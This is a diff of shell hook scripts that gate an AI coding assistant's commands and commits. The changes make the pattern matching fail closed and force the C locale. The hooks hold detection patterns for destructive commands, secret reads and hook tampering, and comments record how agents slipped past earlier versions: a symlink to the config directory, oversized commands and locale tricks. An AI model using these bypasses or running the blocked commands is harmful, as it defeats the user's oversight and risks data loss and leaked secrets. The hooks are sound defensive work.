case "$CMD" in *[Ff][Oo][Rr][Mm][Aa][Tt]-*|*[Cc][Ll][Ee][Aa][Rr]-*|*-[Pp][Aa][Rr][Tt][Ii][Tt][Ii][Oo][Nn]*|*[Ii][Nn][Ii][Tt][Ii][Aa][Ll][Ii][Zz][Ee]-*|*[Ss][Ee][Tt]-[Dd][Ii][Ss][Kk]*) : ;; *) false ;; esac &&
|
|
867
|
+
case "$CMD" in *[Ff][Oo][Rr][Mm][Aa][Tt]-*|*[Cc][Ll][Ee][Aa][Rr]-*|*-[Pp][Aa][Rr][Tt][Ii][Tt][Ii][Oo][Nn]*|*[Ii][Nn][Ii][Tt][Ii][Aa][Ll][Ii][Zz][Ee]-*|*[Ss][Ee][Tt]-[Dd][Ii][Ss][Kk]*) : ;; *) false ;; esac && _grep "$CMD" -qiE '(^|[^A-Za-z0-9_-])(format-volume|clear-disk|remove-partition|initialize-disk|set-disk)([[:space:]]|$)' \
|
|
817
868
|
&& block "PowerShell disk-level destructive command" "4.5" loss
|
|
818
869
|
# World-writable ACL: icacls is what chmod 777 looks like on Windows.
|
|
819
|
-
case "$CMD" in *[Ii][Cc][Aa][Cc][Ll][Ss]*) : ;; *) false ;; esac &&
|
|
870
|
+
case "$CMD" in *[Ii][Cc][Aa][Cc][Ll][Ss]*) : ;; *) false ;; esac && _grep "$CMD" -qiE '(^|[^A-Za-z0-9_-])icacls\b[^;&|]*/grant[^;&|]*(everyone|users|authenticated users)[^;&|]*:\(?[^)]*[FM]' \
|
|
820
871
|
&& block "PowerShell world-writable ACL (icacls /grant Everyone:F)" "4.5" exposure
|
|
821
872
|
|
|
822
873
|
# §4.5 gate-tampering -> HARD BLOCK. A gate you can silently remove is not a gate: redirecting core.hooksPath,
|
|
@@ -944,12 +995,12 @@ fi
|
|
|
944
995
|
# are still blocked (asserted in smoke-test, in both directions).
|
|
945
996
|
# CREW-NOT-A-RUNG: same — `perl`, `python3`, `ruby`, `node` here are names the gate REFUSES when they are
|
|
946
997
|
# pointed at a gate file, not readers this hook uses.
|
|
947
|
-
case "$CMD" in *[Cc][Ll][Aa][Uu][Dd][Ee]*|*[Hh][Oo][Oo][Kk][Ss]*) : ;; *) false ;; esac &&
|
|
948
|
-
case "$CMD" in *[Cc][Ll][Aa][Uu][Dd][Ee]*|*[Hh][Oo][Oo][Kk][Ss]*) : ;; *) false ;; esac &&
|
|
998
|
+
case "$CMD" in *[Cc][Ll][Aa][Uu][Dd][Ee]*|*[Hh][Oo][Oo][Kk][Ss]*) : ;; *) false ;; esac && _grep "$CMD" -qiE "(^|[^A-Za-z0-9_-])(rm|mv|cp|truncate|tee|install|ln|perl|python[0-9.]*|ruby|node|ex|ed|set-content|add-content|clear-content|out-file|new-item|rename-item|copy-item|move-item|remove-item)\b[^;&|]*$GATE" && block "write/tamper of a gate file (hook/settings/.git-hooks)" "4.5" tamper
|
|
999
|
+
case "$CMD" in *[Cc][Ll][Aa][Uu][Dd][Ee]*|*[Hh][Oo][Oo][Kk][Ss]*) : ;; *) false ;; esac && _grep "$CMD" -qiE "(sed|perl|awk|ruby)[[:space:]]+(-[^[:space:]]+[[:space:]]+)*-i[^;&|]*$GATE" && block "in-place edit of a gate file" "4.5" tamper
|
|
949
1000
|
# /CREW-NOT-A-RUNG
|
|
950
1001
|
# The redirect TARGET must be the gate path, not merely something later on the line: a target is one token, so
|
|
951
1002
|
# it cannot contain whitespace or a command separator.
|
|
952
|
-
case "$CMD" in *[Cc][Ll][Aa][Uu][Dd][Ee]*|*[Hh][Oo][Oo][Kk][Ss]*) : ;; *) false ;; esac &&
|
|
1003
|
+
case "$CMD" in *[Cc][Ll][Aa][Uu][Dd][Ee]*|*[Hh][Oo][Oo][Kk][Ss]*) : ;; *) false ;; esac && _grep "$CMD" -qiE ">[[:space:]]*['\"]?[^[:space:];&|<>]*$GATE" && block "redirect over a gate file" "4.5" tamper
|
|
953
1004
|
{ case "$CMD" in *[Cc][Ll][Aa][Uu][Dd][Ee]*|*[Hh][Oo][Oo][Kk][Ss]*) : ;; *) false ;; esac && has "=[^;&|]*$GATE" && has '>>?[[:space:]]*\$'; } && block "indirected write to a gate path (variable + redirect)" "4.5" tamper
|
|
954
1005
|
# A symlink whose TARGET is the config directory itself is the two-step form of editing a hook, and step one
|
|
955
1006
|
# names no gate path at all: `ln -sfn .claude cfg` passed every rule above, and then `cfg/hooks/guard-bash.sh`
|
|
@@ -961,7 +1012,7 @@ case "$CMD" in *[Cc][Ll][Aa][Uu][Dd][Ee]*|*[Hh][Oo][Oo][Kk][Ss]*) : ;; *) false
|
|
|
961
1012
|
# the one above only knows `claude` and `hooks`.
|
|
962
1013
|
# The plugin edition's root is the same kind of target: `ln -s <root> cfg`, then `cfg/hooks/guard-bash.sh`.
|
|
963
1014
|
_LNT='([^;&|[:space:]]*/)?\.(claude|git)'; [ -n "$_PLNK" ] && _LNT="(${_LNT}|${_PLNK})"
|
|
964
|
-
case "$CMD" in *[Ll][Nn][[:space:]]*|*[Mm][Kk][Ll][Ii][Nn][Kk]*) : ;; *) false ;; esac &&
|
|
1015
|
+
case "$CMD" in *[Ll][Nn][[:space:]]*|*[Mm][Kk][Ll][Ii][Nn][Kk]*) : ;; *) false ;; esac && _grep "$CMD" -qiE "(^|[;&|[:space:]])(ln|mklink)[^;&|]*[[:space:]]${_LNT}([[:space:]]|\$)" && block "symlink pointing at the config directory (a gate path in two steps)" "4.5" tamper
|
|
965
1016
|
|
|
966
1017
|
# §4.5-adjacent: a .env file holds secrets. The settings.json Read-tool deny does NOT cover the Bash tool, so a
|
|
967
1018
|
# `cat .env` would surface them. Block the direct-file readers/copiers and a `< .env` input redirect on a
|
|
@@ -1154,7 +1205,9 @@ if [ "$_looks_exec" = 1 ]; then
|
|
|
1154
1205
|
# LC_ALL=C: a UTF-8 `tr` dies on a non-UTF-8 byte and, under pipefail, took the verdict with it (review). The hit
|
|
1155
1206
|
# is read from the output, not the pipeline status: `grep -q` closing early SIGPIPEs the stage before it, and a
|
|
1156
1207
|
# 3,000-line script passed that way while a 1,000-line one was blocked.
|
|
1157
|
-
_envhit="$(LC_ALL=C tr ';&|' '\n\n\n' < "$_path" 2>/dev/null
|
|
1208
|
+
_envhit="$(LC_ALL=C tr ';&|' '\n\n\n' < "$_path" 2>/dev/null)"
|
|
1209
|
+
_grep_out "$_envhit" -aiE -- "$ENV_READ_RE|$ENV_REDIR_RE"; _envhit=""
|
|
1210
|
+
[ -n "$_GO" ] && { _grep_out "$_GO" -aivE -m1 -- "$ENV_TEMPLATE_RE"; _envhit="$_GO"; }
|
|
1158
1211
|
if [ -n "$_envhit" ]; then
|
|
1159
1212
|
set +f
|
|
1160
1213
|
block "running a script that reads a .env secret (the two-step read)" "4.5" secret
|
|
@@ -1199,7 +1252,7 @@ _addf_owns(){ # $1 = one captured `git add …` span -> 0 when a -f/--force in
|
|
|
1199
1252
|
[ "$og" = 0 ] && set +f; return 1
|
|
1200
1253
|
}
|
|
1201
1254
|
if [ "$HAS_GIT" = 1 ] && git_has "$CMD" 'add'; then
|
|
1202
|
-
|
|
1255
|
+
_grep_out "$CMD" -oE 'git[[:space:]]+([^;&|]*[[:space:]])?add([^;&|]*)'; _ADDSEG="$_GO"
|
|
1203
1256
|
while IFS= read -r _seg; do
|
|
1204
1257
|
[ -n "$_seg" ] || continue
|
|
1205
1258
|
_addf_owns "$_seg" && { block "git add -f (bypasses .gitignore)" "4.5" bypass; break; }
|
|
@@ -1212,7 +1265,7 @@ fi
|
|
|
1212
1265
|
# gitignore bypass alone, not about stopping people from staging files.)
|
|
1213
1266
|
[ "$HAS_GIT" = 1 ] && _ere s "$CMD" 'git[[:space:]]+([^;&|]*[[:space:]])?update-index([^[:alnum:]_;&|][^;&|]*)?(--add|--force-remove)' '*[Uu][Pp][Dd][Aa][Tt][Ee]-[Ii][Nn][Dd][Ee][Xx]*' \
|
|
1214
1267
|
&& block "git update-index --add (bypasses .gitignore, same as git add -f)" "4.5" bypass
|
|
1215
|
-
case "$CMD" in *[Rr][Mm]*) : ;; *) false ;; esac &&
|
|
1268
|
+
case "$CMD" in *[Rr][Mm]*) : ;; *) false ;; esac && _grep "$CMD" -qE '(rm|git[[:space:]]+rm)\b[^|]*(package-lock\.json|yarn\.lock|pnpm-lock\.yaml|npm-shrinkwrap\.json|Gemfile\.lock|poetry\.lock|Pipfile\.lock|Cargo\.lock|composer\.lock|go\.sum|packages\.lock\.json)' && block "lockfile deletion" "4.5" loss
|
|
1216
1269
|
|
|
1217
1270
|
# --- §4.4 commit/push approval gate ---
|
|
1218
1271
|
# Escape a shell string into a JSON string body. A raw control character inside a JSON string is a parse
|
|
@@ -1221,6 +1274,25 @@ case "$CMD" in *[Rr][Mm]*) : ;; *) false ;; esac && echo "$CMD" | grep -qE '(rm|
|
|
|
1221
1274
|
# - fold a surviving tab to a space (display-only text; the command Claude runs is untouched);
|
|
1222
1275
|
# - escape backslash and double quote;
|
|
1223
1276
|
# - fold newlines to the two-character \n escape.
|
|
1277
|
+
# Each line of a text cut to at most N bytes, never inside a letter. This is the command as the approval prompt
|
|
1278
|
+
# shows it, and it goes into JSON. `cut -c1-300` did this job: GNU cut counts BYTES whatever the locale (measured on
|
|
1279
|
+
# Linux under en_US.UTF-8: a two-byte letter across byte 300 left the prompt's JSON invalid UTF-8), and BSD cut
|
|
1280
|
+
# counts characters only while the session's locale says so. Here the cut is by bytes and then steps back over an
|
|
1281
|
+
# unfinished letter: a UTF-8 letter is one lead byte (0xC0 and up) followed by continuation bytes (0x80-0xBF).
|
|
1282
|
+
_utf8_cut(){ # $1 = text, $2 = bytes per line -> _UC
|
|
1283
|
+
local LC_ALL=C
|
|
1284
|
+
local l out="" nl=""
|
|
1285
|
+
while IFS= read -r l || [ -n "$l" ]; do
|
|
1286
|
+
if [ "${#l}" -gt "$2" ]; then
|
|
1287
|
+
l="${l:0:$2}"
|
|
1288
|
+
while :; do case "$l" in *[$'\x80'-$'\xbf']) l="${l%?}" ;; *) break ;; esac; done
|
|
1289
|
+
case "$l" in *[$'\xc0'-$'\xff']) l="${l%?}" ;; esac
|
|
1290
|
+
fi
|
|
1291
|
+
out="$out$nl$l"; nl=$'\n'
|
|
1292
|
+
done <<< "$1"
|
|
1293
|
+
while :; do case "$out" in *$'\n') out="${out%?}" ;; *) break ;; esac; done
|
|
1294
|
+
_UC="$out"
|
|
1295
|
+
}
|
|
1224
1296
|
json_escape(){
|
|
1225
1297
|
printf '%s' "$1" \
|
|
1226
1298
|
| tr -d '\000-\010\013-\037\177' \
|
|
@@ -1260,7 +1332,7 @@ allow_preauthorised(){
|
|
|
1260
1332
|
# and it is written here as well, because the person reading the hook is not reading that file.
|
|
1261
1333
|
if git_has "$CMD" 'add|commit|push|checkout|switch'; then
|
|
1262
1334
|
# The key is granted by the user's environment, never by the command line the model composes.
|
|
1263
|
-
if
|
|
1335
|
+
if _grep "$CMD" -q 'CLAUDE_GIT_OK'; then
|
|
1264
1336
|
gatelog BLOCK 4.4 "approval key set inside the command"
|
|
1265
1337
|
echo "GUARD (§4.4): the attempt to set the approval key (CLAUDE_GIT_OK) inside the command was rejected." >&2
|
|
1266
1338
|
echo "The key is set only by the user, before the session starts." >&2
|
|
@@ -1560,7 +1632,7 @@ if git_has "$CMD" 'commit|push'; then
|
|
|
1560
1632
|
default|acceptEdits)
|
|
1561
1633
|
# A prompt provably reaches the user in these modes: ask, and let them approve in one keypress.
|
|
1562
1634
|
SHORT="$CMD"
|
|
1563
|
-
[ "${#SHORT}" -gt 300 ] &&
|
|
1635
|
+
[ "${#SHORT}" -gt 300 ] && { _utf8_cut "$SHORT" 300; SHORT="$_UC…"; }
|
|
1564
1636
|
# §4.4 branch guard: committing straight onto main/master is not blocked (a fresh project legitimately
|
|
1565
1637
|
# lives on main), but it is surfaced in the approval prompt so the user can send it to a branch instead.
|
|
1566
1638
|
BRANCH_WARN=""
|
|
@@ -19,6 +19,54 @@
|
|
|
19
19
|
# Deliberately NOT covered: `--no-verify`. It is §4.5 and `guard-bash.sh` blocks it outright, so it never
|
|
20
20
|
# reaches this hook.
|
|
21
21
|
set -uo pipefail
|
|
22
|
+
# ---- CREW-LOCALE -----------------------------------------------------------------------------------------
|
|
23
|
+
# Everything this gate matches with runs in the C locale, whatever the session's own is. Under a Turkish locale
|
|
24
|
+
# the letters i and I are not each other's other case (their partners are İ and ı), and every case-insensitive
|
|
25
|
+
# match here is written in ASCII. Measured under tr_TR.UTF-8 with the locale left as it came:
|
|
26
|
+
# GNU grep 3.11 / bash 5.2 on Linux: `grep -i init` does not find INIT (-F, -E and plain alike);
|
|
27
|
+
# bash's nocasematch does not match GIT against git; `[A-Za-z]` in a regex does not hold I; awk's tolower
|
|
28
|
+
# turns GIT into gıt. The suite, run whole under that locale, went from 2 failures to 23: a recursive
|
|
29
|
+
# Remove-Item, a write to a gate file, `git config --remove-section core`, a read of a nested .env and a
|
|
30
|
+
# staged key all passed.
|
|
31
|
+
# GNU grep 3.0 in Git Bash on Windows: `grep -iF` with an ASCII pattern aborts (exit 134), and the pre-commit
|
|
32
|
+
# scan for private strings read that as "no match".
|
|
33
|
+
# macOS (BSD grep, bash 3.2): none of it; tr_TR.UTF-8 folds i and I the ASCII way there.
|
|
34
|
+
# The cost: a letter outside ASCII has no other case in the C locale. The two git hooks that scan a user's own
|
|
35
|
+
# words look a second time under the session's locale for a pattern that holds such a letter (_CREW_LOCALE).
|
|
36
|
+
# Byte-identical in every gate; the suite pins it.
|
|
37
|
+
_CREW_LOCALE="${LC_ALL:-${LC_CTYPE:-${LANG:-}}}"
|
|
38
|
+
case "$_CREW_LOCALE" in C|POSIX) _CREW_LOCALE="" ;; esac
|
|
39
|
+
export LC_ALL=C
|
|
40
|
+
# ---- /CREW-LOCALE
|
|
41
|
+
# ---- CREW-MATCH -------------------------------------------------------------------------------------------
|
|
42
|
+
# grep on the command, without a pipe and with its status read. Both halves were measured failing open:
|
|
43
|
+
# * `echo "$CMD" | grep -q …` under pipefail. grep -q leaves at its first match; when the command is larger than
|
|
44
|
+
# the pipe holds, the writer is killed by SIGPIPE and the pipeline's status is 141, which the rule read as
|
|
45
|
+
# "no match". On macOS, a command of 72 KB or more whose FIRST line was `rm -rf /tmp/x/*` (or dd of=, curl | sh,
|
|
46
|
+
# chmod 777, mkfs, a lockfile delete) passed with exit 0; with that line last it was refused. A here-string
|
|
47
|
+
# has no writer to kill.
|
|
48
|
+
# * A grep that could not run (killed, out of memory, exit 2 or more) answered like one that found nothing.
|
|
49
|
+
# So: _grep answers 0 (found) or 1 (not found), and anything else stops the call. It must be called in the hook's
|
|
50
|
+
# own shell, never inside $( ) or a pipeline, or the stop would only leave that child.
|
|
51
|
+
_grep_stop(){ # $1 = grep's status
|
|
52
|
+
declare -F gatelog >/dev/null 2>&1 && gatelog BLOCK 4.5 "a match that could not run"
|
|
53
|
+
echo "GUARD: a check of this command could not run (grep exited $1), so the command was not judged and is refused." >&2
|
|
54
|
+
echo "Nothing about the command itself was found. Run it again; if it is refused the same way, the fault is in the machine's grep, not in the command." >&2
|
|
55
|
+
exit 2
|
|
56
|
+
}
|
|
57
|
+
_grep(){ # $1 = text, $2… = grep's arguments -> 0 found · 1 not found
|
|
58
|
+
local t="$1" rc; shift
|
|
59
|
+
grep "$@" <<< "$t"; rc=$?
|
|
60
|
+
[ "$rc" -le 1 ] && return "$rc"
|
|
61
|
+
_grep_stop "$rc"
|
|
62
|
+
}
|
|
63
|
+
_grep_out(){ # the same for a caller that wants what grep printed -> _GO (empty when nothing matched)
|
|
64
|
+
local t="$1" rc; shift
|
|
65
|
+
_GO="$(grep "$@" <<< "$t")"; rc=$?
|
|
66
|
+
[ "$rc" -le 1 ] && return 0
|
|
67
|
+
_grep_stop "$rc"
|
|
68
|
+
}
|
|
69
|
+
# ---- /CREW-MATCH
|
|
22
70
|
DIR="$(cd "$(dirname "$0")" && pwd)"
|
|
23
71
|
|
|
24
72
|
# ---- CREW-JSON-PARSE ------------------------------------------------------------------------------------
|
|
@@ -407,14 +455,14 @@ case "$CMD" in *[Gg][Ii][Tt]*) ;; *) exit 0 ;; esac
|
|
|
407
455
|
|
|
408
456
|
# Only git commit. Matching mirrors guard-bash.sh's tolerance for `git -C dir commit`, TAB separators and a
|
|
409
457
|
# quoted binary, because a gate that a whitespace change walks past is not a gate.
|
|
410
|
-
|
|
458
|
+
_grep "$CMD" -qE '(^|[;&|[:space:]])["'"'"'`]?git["'"'"'`]?([[:space:]]+-[^[:space:]]+)*[[:space:]]+commit([[:space:]]|$)' || exit 0
|
|
411
459
|
|
|
412
460
|
git rev-parse --is-inside-work-tree >/dev/null 2>&1 || exit 0
|
|
413
461
|
|
|
414
462
|
# `git commit -a` has not staged anything yet at this point; tell the scanner to look at tracked-but-unstaged
|
|
415
463
|
# changes too. Matches -a, --all and clusters like -am.
|
|
416
464
|
UNSTAGED=0
|
|
417
|
-
|
|
465
|
+
_grep "$CMD" -qE '(^|[[:space:]])(--all|-[A-Za-z]*a[A-Za-z]*)([[:space:]]|$)' && UNSTAGED=1
|
|
418
466
|
|
|
419
467
|
FAILED=0
|
|
420
468
|
OUT=""
|
|
@@ -439,7 +487,7 @@ if [ "$FAILED" = 0 ] && [ -x "$DIR/commit-msg" ]; then
|
|
|
439
487
|
# on exactly the Windows machines it was written for. So ask the question directly, with a test that needs
|
|
440
488
|
# no interpreter. Cheap: nothing below runs unless the command is already known to be a `git commit`.
|
|
441
489
|
HAS_M=0
|
|
442
|
-
|
|
490
|
+
_grep "$CMD" -qE '(^|[[:space:]])(-[A-Za-z]*m|--message)([[:space:]]|=|$)' && HAS_M=1
|
|
443
491
|
# ONE tokenizer, awk, on every machine. A python3 `shlex` branch used to run first where python worked, so a
|
|
444
492
|
# Mac and a Windows box took different code through a gate. Measured before it was removed: on 18 `-m`
|
|
445
493
|
# shapes the awk tokenizer returned what shlex returned, 18/18. A command awk cannot tokenize (an unclosed
|
|
@@ -475,7 +523,7 @@ $(bash "$DIR/commit-msg" "$MF" 2>&1)" || FAILED=1
|
|
|
475
523
|
MFILE="$(printf '%s' "$CMD" \
|
|
476
524
|
| sed -n 's/.*[[:space:]]--\{0,1\}[Ff]\(ile\)\{0,1\}[[:space:]=]\{1,\}\([^[:space:];&|]\{1,\}\).*/\2/p' | head -1)"
|
|
477
525
|
MFILE="${MFILE%\"}"; MFILE="${MFILE#\"}"; MFILE="${MFILE%\'}"; MFILE="${MFILE#\'}"
|
|
478
|
-
if
|
|
526
|
+
if _grep "$CMD" -qE '(^|[[:space:]])(-F|--file)([[:space:]=]|$)' && { [ -z "$MFILE" ] || [ ! -f "$MFILE" ]; }; then
|
|
479
527
|
echo "GUARD (§4.1): this commit reads its message from a file (-F), and the command could not be parsed" >&2
|
|
480
528
|
echo "well enough to know which file. Scan cannot run, so the commit is refused. Commit with a plain" >&2
|
|
481
529
|
echo "-F <path> (or -m) in a command of its own." >&2
|
|
@@ -18,6 +18,25 @@
|
|
|
18
18
|
# Wired ONLY on the PowerShell matcher (both editions; smoke pins it). On `Bash` it would block the very commands it
|
|
19
19
|
# points to.
|
|
20
20
|
set -uo pipefail
|
|
21
|
+
# ---- CREW-LOCALE -----------------------------------------------------------------------------------------
|
|
22
|
+
# Everything this gate matches with runs in the C locale, whatever the session's own is. Under a Turkish locale
|
|
23
|
+
# the letters i and I are not each other's other case (their partners are İ and ı), and every case-insensitive
|
|
24
|
+
# match here is written in ASCII. Measured under tr_TR.UTF-8 with the locale left as it came:
|
|
25
|
+
# GNU grep 3.11 / bash 5.2 on Linux: `grep -i init` does not find INIT (-F, -E and plain alike);
|
|
26
|
+
# bash's nocasematch does not match GIT against git; `[A-Za-z]` in a regex does not hold I; awk's tolower
|
|
27
|
+
# turns GIT into gıt. The suite, run whole under that locale, went from 2 failures to 23: a recursive
|
|
28
|
+
# Remove-Item, a write to a gate file, `git config --remove-section core`, a read of a nested .env and a
|
|
29
|
+
# staged key all passed.
|
|
30
|
+
# GNU grep 3.0 in Git Bash on Windows: `grep -iF` with an ASCII pattern aborts (exit 134), and the pre-commit
|
|
31
|
+
# scan for private strings read that as "no match".
|
|
32
|
+
# macOS (BSD grep, bash 3.2): none of it; tr_TR.UTF-8 folds i and I the ASCII way there.
|
|
33
|
+
# The cost: a letter outside ASCII has no other case in the C locale. The two git hooks that scan a user's own
|
|
34
|
+
# words look a second time under the session's locale for a pattern that holds such a letter (_CREW_LOCALE).
|
|
35
|
+
# Byte-identical in every gate; the suite pins it.
|
|
36
|
+
_CREW_LOCALE="${LC_ALL:-${LC_CTYPE:-${LANG:-}}}"
|
|
37
|
+
case "$_CREW_LOCALE" in C|POSIX) _CREW_LOCALE="" ;; esac
|
|
38
|
+
export LC_ALL=C
|
|
39
|
+
# ---- /CREW-LOCALE
|
|
21
40
|
# Read with the builtin: `INPUT="$(cat)"` is a subshell plus a process on EVERY PowerShell call, and on Git Bash a
|
|
22
41
|
# process costs 62-135 ms. With this, a command that cannot match (no `bash` in the payload) opens no process at all
|
|
23
42
|
# (measured with the xtrace counter: `cat` 1 -> 0). `read` returns 1 at end of input; the text is read regardless.
|
package/kit/hooks/guard-write.sh
CHANGED
|
@@ -30,6 +30,25 @@
|
|
|
30
30
|
# Normalise first, match second — and normalise with parameter expansion only, because this hook runs before
|
|
31
31
|
# EVERY Write/Edit and a fork per call is a freeze on Windows (Git Bash charges 62-135 ms per process, measured).
|
|
32
32
|
set -uo pipefail
|
|
33
|
+
# ---- CREW-LOCALE -----------------------------------------------------------------------------------------
|
|
34
|
+
# Everything this gate matches with runs in the C locale, whatever the session's own is. Under a Turkish locale
|
|
35
|
+
# the letters i and I are not each other's other case (their partners are İ and ı), and every case-insensitive
|
|
36
|
+
# match here is written in ASCII. Measured under tr_TR.UTF-8 with the locale left as it came:
|
|
37
|
+
# GNU grep 3.11 / bash 5.2 on Linux: `grep -i init` does not find INIT (-F, -E and plain alike);
|
|
38
|
+
# bash's nocasematch does not match GIT against git; `[A-Za-z]` in a regex does not hold I; awk's tolower
|
|
39
|
+
# turns GIT into gıt. The suite, run whole under that locale, went from 2 failures to 23: a recursive
|
|
40
|
+
# Remove-Item, a write to a gate file, `git config --remove-section core`, a read of a nested .env and a
|
|
41
|
+
# staged key all passed.
|
|
42
|
+
# GNU grep 3.0 in Git Bash on Windows: `grep -iF` with an ASCII pattern aborts (exit 134), and the pre-commit
|
|
43
|
+
# scan for private strings read that as "no match".
|
|
44
|
+
# macOS (BSD grep, bash 3.2): none of it; tr_TR.UTF-8 folds i and I the ASCII way there.
|
|
45
|
+
# The cost: a letter outside ASCII has no other case in the C locale. The two git hooks that scan a user's own
|
|
46
|
+
# words look a second time under the session's locale for a pattern that holds such a letter (_CREW_LOCALE).
|
|
47
|
+
# Byte-identical in every gate; the suite pins it.
|
|
48
|
+
_CREW_LOCALE="${LC_ALL:-${LC_CTYPE:-${LANG:-}}}"
|
|
49
|
+
case "$_CREW_LOCALE" in C|POSIX) _CREW_LOCALE="" ;; esac
|
|
50
|
+
export LC_ALL=C
|
|
51
|
+
# ---- /CREW-LOCALE
|
|
33
52
|
# The 2.x names of the variables a user can set still work (one helper: eval/lib/crew-env.sh).
|
|
34
53
|
_crew_d="${BASH_SOURCE%/*}"; [ "$_crew_d" = "${BASH_SOURCE}" ] && _crew_d=.
|
|
35
54
|
[ -f "$_crew_d/../eval/lib/crew-env.sh" ] && . "$_crew_d/../eval/lib/crew-env.sh"; unset _crew_d
|
package/kit/hooks/pre-commit
CHANGED
|
@@ -5,6 +5,59 @@
|
|
|
5
5
|
# (3) private-path scanner — this machine's $HOME + .private-terms.txt (§4.3)
|
|
6
6
|
# Skipping requires an explicit request per §4.5 (git commit --no-verify).
|
|
7
7
|
set -euo pipefail
|
|
8
|
+
# ---- CREW-LOCALE -----------------------------------------------------------------------------------------
|
|
9
|
+
# Everything this gate matches with runs in the C locale, whatever the session's own is. Under a Turkish locale
|
|
10
|
+
# the letters i and I are not each other's other case (their partners are İ and ı), and every case-insensitive
|
|
11
|
+
# match here is written in ASCII. Measured under tr_TR.UTF-8 with the locale left as it came:
|
|
12
|
+
# GNU grep 3.11 / bash 5.2 on Linux: `grep -i init` does not find INIT (-F, -E and plain alike);
|
|
13
|
+
# bash's nocasematch does not match GIT against git; `[A-Za-z]` in a regex does not hold I; awk's tolower
|
|
14
|
+
# turns GIT into gıt. The suite, run whole under that locale, went from 2 failures to 23: a recursive
|
|
15
|
+
# Remove-Item, a write to a gate file, `git config --remove-section core`, a read of a nested .env and a
|
|
16
|
+
# staged key all passed.
|
|
17
|
+
# GNU grep 3.0 in Git Bash on Windows: `grep -iF` with an ASCII pattern aborts (exit 134), and the pre-commit
|
|
18
|
+
# scan for private strings read that as "no match".
|
|
19
|
+
# macOS (BSD grep, bash 3.2): none of it; tr_TR.UTF-8 folds i and I the ASCII way there.
|
|
20
|
+
# The cost: a letter outside ASCII has no other case in the C locale. The two git hooks that scan a user's own
|
|
21
|
+
# words look a second time under the session's locale for a pattern that holds such a letter (_CREW_LOCALE).
|
|
22
|
+
# Byte-identical in every gate; the suite pins it.
|
|
23
|
+
_CREW_LOCALE="${LC_ALL:-${LC_CTYPE:-${LANG:-}}}"
|
|
24
|
+
case "$_CREW_LOCALE" in C|POSIX) _CREW_LOCALE="" ;; esac
|
|
25
|
+
export LC_ALL=C
|
|
26
|
+
# ---- /CREW-LOCALE
|
|
27
|
+
# ---- CREW-SCAN -------------------------------------------------------------------------------------------
|
|
28
|
+
# One scan of one file for one pattern, with "could not look" kept apart from "nothing there". grep exits 1 for
|
|
29
|
+
# no match and 2 or more when it could not answer: a pattern that does not compile, a file it could not read, or
|
|
30
|
+
# grep itself dying (exit 134 for `grep -iF` under a Turkish locale in Git Bash, measured). Read as "no match",
|
|
31
|
+
# that is a scan that passes whatever it was shown.
|
|
32
|
+
# 0 a match 1 no match
|
|
33
|
+
# 2 the pattern does not compile (grep says exactly 2, and says it again for empty input) - the caller warns:
|
|
34
|
+
# a typo in a hand-edited list must not lock every commit, and the other patterns still ran
|
|
35
|
+
# 3 could not look - the caller stops the commit
|
|
36
|
+
# A pattern that holds a letter outside ASCII is looked for a second time under the session's own locale when
|
|
37
|
+
# the first look finds nothing and the match ignores case: in the C locale such a letter has no other case.
|
|
38
|
+
_crew_scan(){ # $1 = grep's flags after -q (iE, E, iF) · $2 = pattern · $3 = file
|
|
39
|
+
local r=0
|
|
40
|
+
grep -q"$1" -- "$2" "$3" 2>/dev/null || r=$?
|
|
41
|
+
if [ "$r" = 1 ] && [ -n "$_CREW_LOCALE" ]; then
|
|
42
|
+
case "$1" in *i*) case "$2" in *[!$'\t'\ -~]*) r=0; LC_ALL="$_CREW_LOCALE" grep -q"$1" -- "$2" "$3" 2>/dev/null || r=$? ;; esac ;; esac
|
|
43
|
+
fi
|
|
44
|
+
[ "$r" -ge 2 ] || return "$r"
|
|
45
|
+
case "$1" in *F*) return 3 ;; esac
|
|
46
|
+
r=0; grep -q"$1" -- "$2" /dev/null 2>/dev/null || r=$?
|
|
47
|
+
[ "$r" != 2 ] || return 2
|
|
48
|
+
return 3
|
|
49
|
+
}
|
|
50
|
+
# ---- /CREW-SCAN
|
|
51
|
+
_crew_looked(){ # $1 = what a pipeline collects for the scans · the rest = the exit status of each of its commands
|
|
52
|
+
# Every status, not the pipeline's own: with pipefail that is the LAST command that failed, and the last grep
|
|
53
|
+
# exits 1 whenever nothing reaches it - which is exactly what an abort further up leaves behind.
|
|
54
|
+
local what="$1" r; shift
|
|
55
|
+
for r in "$@"; do
|
|
56
|
+
[ "$r" -lt 2 ] && continue
|
|
57
|
+
echo "PRE-COMMIT: $what could not be read (exit $r), so nothing was scanned and the commit is stopped."
|
|
58
|
+
exit 1
|
|
59
|
+
done
|
|
60
|
+
}
|
|
8
61
|
# The 2.x names of the variables a user can set still work (one helper: eval/lib/crew-env.sh).
|
|
9
62
|
_crew_d="${BASH_SOURCE%/*}"; [ "$_crew_d" = "${BASH_SOURCE}" ] && _crew_d=.
|
|
10
63
|
[ -f "$_crew_d/../eval/lib/crew-env.sh" ] && . "$_crew_d/../eval/lib/crew-env.sh"; unset _crew_d
|
|
@@ -47,7 +100,7 @@ trap '_crew_cleanup; exit 143' INT TERM
|
|
|
47
100
|
git diff --cached --unified=0 -- . \
|
|
48
101
|
':(top,exclude,glob)**/trace-blocklist.txt' ':(top,exclude,glob)**/secret-blocklist.txt' \
|
|
49
102
|
':(top,exclude)trace-blocklist.txt' ':(top,exclude)secret-blocklist.txt' \
|
|
50
|
-
| grep -E '^\+' | grep -Ev '^\+\+\+' > "$SECRET_F" ||
|
|
103
|
+
| grep -E '^\+' | grep -Ev '^\+\+\+' > "$SECRET_F" || _crew_looked "the staged diff" "${PIPESTATUS[@]}"
|
|
51
104
|
|
|
52
105
|
# Traces (§4.1/§4.2) are scanned in the PROJECT's own files only. `.claude/` is Crewforth's tree: it configures the
|
|
53
106
|
# assistant, it legitimately names the tool it configures, and an update overwrites it — it is not an artifact the
|
|
@@ -56,7 +109,7 @@ git diff --cached --unified=0 -- . \
|
|
|
56
109
|
# falls under .claude/, but in Crewforth's own repo it sits at kit/hooks/ where that exclusion misses it.
|
|
57
110
|
git diff --cached --unified=0 -- . ':(top,exclude).claude' \
|
|
58
111
|
':(top,exclude,glob)**/trace-blocklist.txt' ':(top,exclude)trace-blocklist.txt' \
|
|
59
|
-
| grep -E '^\+' | grep -Ev '^\+\+\+' > "$TRACE_F" ||
|
|
112
|
+
| grep -E '^\+' | grep -Ev '^\+\+\+' > "$TRACE_F" || _crew_looked "the staged diff" "${PIPESTATUS[@]}"
|
|
60
113
|
|
|
61
114
|
